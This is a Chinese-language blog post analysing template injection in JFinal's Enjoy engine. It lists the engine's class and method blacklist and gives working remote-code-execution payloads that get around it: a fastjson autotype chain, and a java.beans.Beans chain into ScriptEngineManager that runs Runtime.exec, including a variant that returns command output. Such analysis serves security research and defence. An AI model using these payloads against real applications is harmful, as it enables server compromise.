Enjoy模板注入引擎分析

Posted by Azeril on October 6, 2023

Enjoy模板注入引擎分析

前置

首先需要了解一下JFinal框架 https://jfinal.com/doc/6-1(官方文档)
Enjoy 模板引擎专为 java 开发者打造,所以坚持两个核心设计理念:一是在模板中可以直接与 java 代码通畅地交互,二是尽可能沿用 java 语法规则,将学习成本降到极致。

首先学一下表达式

属性访问:

user.name为例
  • 如果user.getName()存在,则优先调用
  • 如果user具有public修饰过的name属性,则取user.name属性值(注意:jfinal 4.0 之前这条规则的优先级最低)
  • 如果 user 为 Model 子类,则调用 user.get(“name”)
  • 如果 user 为 Record,则调用 user.get(“name”)
  • 如果 user 为 Map,则调用 user.get(“name”)

方法调用

在模板中直接调用对象上的任何public方法

#("ABCDE".substring(0, 3))
#(girl.getAge())
#(list.size())
#(map.get(key))

静态属性访问

自jfinal 5.0.2开始,该表达式默认“未启用”,启用需要添加如下配置:

engine.setStaticFieldExpression(true);

例子:

#if(x.status==com.demo.common.model.Account::STATUS_LOCK_ID)
 <span>(账号已锁定)</span>
#end

通过类名加双冒号再加静态属性名即为静态属性访问表达式

由于以上比较复杂,可以用 #set(STATUS_LOCK_ID=上面的一串)将常量值赋给一个变量。

` 注意,这里的属性必须是public static修饰过的才可以被访问。此外,这里的静态属性并非要求为final修饰。`

静态方法调用

自jfinal 5.0.2开始,该表达式默认”未启用”,启用需要添加如下配置:

engine.setStaticMethodExpression(true);
#if(com.jfinal.kit.StrKit::isBlank(title))
   ....
#end

此外,还可以调用静态属性上的方法,以下是代码示例:

  1. (com.jfinal.MyKit::me).method(paras)

以上这么多理论举一个代码的实例:

 <dependency>
            <groupId>com.jfinal</groupId>
            <artifactId>enjoy</artifactId>
            <version>4.9.21</version>
        </dependency>
package com.example;

import java.io.IOException;

public class user {
    public static void run(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package com.example;

import com.jfinal.template.Engine;
import com.jfinal.template.Template;

public class main {
    public static void main(String[] args) {
        Engine engine=new Engine();
        Template template=engine.getTemplateByString("#(com.example.user::run())");
        template.renderToString();
    }
}

执行完成后发现执行了 com.example.user的静态方法run

RCE

在Engine init就会进行一个黑名单的对比

image-20231006145803177

对类和类的方法都有一个黑名单

System.class, Runtime.class, Thread.class, Class.class, ClassLoader.class, File.class, Compiler.class, InheritableThreadLocal.class, Package.class, Process.class, RuntimePermission.class, SecurityManager.class, ThreadGroup.class, ThreadLocal.class, Method.class, Proxy.class, ProcessBuilder.class, MethodKit.class
"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"

所以就是如何绕过这些黑名单或者,利用黑名单以外某些类来达到命令执行的效果

通过第三方依赖(fastjson达到rce)

set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

Java自带类绕过

用的是 java.beans.Beans 这个类

重要的是这个类中有一个静态的instantiate方法,并且方法体里面有反射和实例化

image-20231006151543587

image-20231006151626044

这里跟进findclass其实就是forname反射,第二个参数是类加载器null在这里就可以

image-20231006151729723

image-20231006151703005

简单的剖析一下payload

Template template=engine.getTemplateByString("#set((java.beans.Beans::instantiate(null,\"javax.script.ScriptEngineManager\")).getEngineByExtension(\"js\").eval(\"function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\\\"calc\\\")\"))");

首先实例化获得ScriptEngineManger对象然后用js执行java代码
    
#set((java.beans.Beans::instantiate(null,\"javax.script.ScriptEngineManager\")).getEngineByExtension(\"js\").eval(\"function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\\\"calc\\\")\"))

image-20231006152016534

有回显

base=#((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("var s = [3];s[0] = \"/bin/bash\";s[1] =\"-c\";s[2] = \"id\";var p =java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;"))

JavaScript命令执行

javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在javascript中执行java代码.

核心代码

String str = "Jscode";
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        engine.eval(str);

详细代码:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
public class Jsexec {
    public static void main(String[] argv) throws ScriptException {
        String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -a Calculator\");";
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        engine.eval(str);
    }
}

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。